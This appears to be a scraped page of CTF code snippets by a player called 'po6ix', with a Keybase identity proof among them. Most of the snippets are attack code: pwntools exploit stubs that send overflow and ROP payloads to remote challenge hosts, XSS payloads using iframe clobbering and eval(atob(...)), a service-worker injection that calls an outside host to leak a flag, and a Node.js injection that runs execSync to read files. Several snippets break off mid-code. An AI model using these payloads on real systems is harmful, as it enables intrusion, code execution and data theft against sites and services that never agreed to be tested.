po6ix

from pwn import *
from ctypes import *
from time import sleep

context.log_level = 'debug'

rlibc = CDLL('./libc.so')
rlibc.srand(rlibc.time(0))

# p = process('./chall')

po6ix

Keybase proof

I hereby claim:

• I am posix-lee on github.
• I am posix (https://keybase.io/posix) on keybase.
• I have a public key whose fingerprint is 8A8E 554E 754D BD83 79F8 9A4A 6DE9 FFC9 30A8 4F20

To claim this, I am signing this object:

po6ix

from pwn import *

context.log_level = 'debug'

# p = process('./qemu-aarch64 -L . -g 1234 ./vuln'.split(' '))
p = remote('pwn.zh3r0.cf', 1111)
e = ELF('./vuln')

p.send('a'*8)
p.recvuntil('a'*8)

po6ix

from pwn import *

p = remote('20.42.99.115', 3000)

payload = b'\1'*150

p.sendline(payload)
p.interactive()

po6ix

from pwn import *

# p = process('./game')
p = remote('cop.ichsa.ctf.today', 8011)

for i in range(0x90):
    p.sendlineafter('Please chose an option', '2')
    p.sendlineafter('Please chose an option', '2')

payload = b'aaaaaa' + p64(0x401813)*16

po6ix

<a id=context><iframe id=context name=apiPublicKey href="x"></iframe><iframe id=context name=auth href="x" b=y></iframe><iframe id=context name=disqusUrl href="x"></iframe></a>
<div id="account-nav"></div><div id="anon-account-nav-tmpl">${eval(atob(`YWxlcnQob3JpZ2luKQ`))}</div>

* repeat below if you want to improve the reliability
```mermaid
graph LR;
    A-->B;
    click B callback "<script src=https://a.disquscdn.com/1608164631/build/js/abadd50d331d.js></script><script src=https://a.disquscdn.com/1608164631/js/src/global.js></script>"
```

po6ix

<iframe srcdoc="&#x3C;form action=&#x22;https://amazingnotes.asisctf.com:444/&#x22; method=&#x22;POST&#x22; id=x&#x3E;
&#x3C;input name=ext value=es&#x3E;
&#x3C;textarea name=note&#x3E;
self.addEventListener(&#x22;fetch&#x22;, function(event) {
if(event.request.url.indexOf(&#x22;flag&#x22;) != -1)
    return;
event.respondWith(new Response(&#x60;

&#x3C;img src=//p6.is/givemeflag&#x3E;
<script>

po6ix

'+constructor.constructor("return process")().mainModule.require("child_process").execSync('cat * | grep CSR')+' 

CSR{r363x_15_fun_r363x_15_l0v3}

po6ix

function WeakMap(...e) {
  return {
    set: (...e)=>{
      console.log(e)
    },
    has: () => {
      console.log(87)
      return 1;
    }
  }

po6ix

digraph g1 {
  subgraph cluster_0 {
    style=filled;
    color=lightgrey;
    node [style=filled, color=white];
    a0 -> a1 -> a2 -> a3;
  }
  start -> a0;
  a3 -> end;
  a1 -> b3;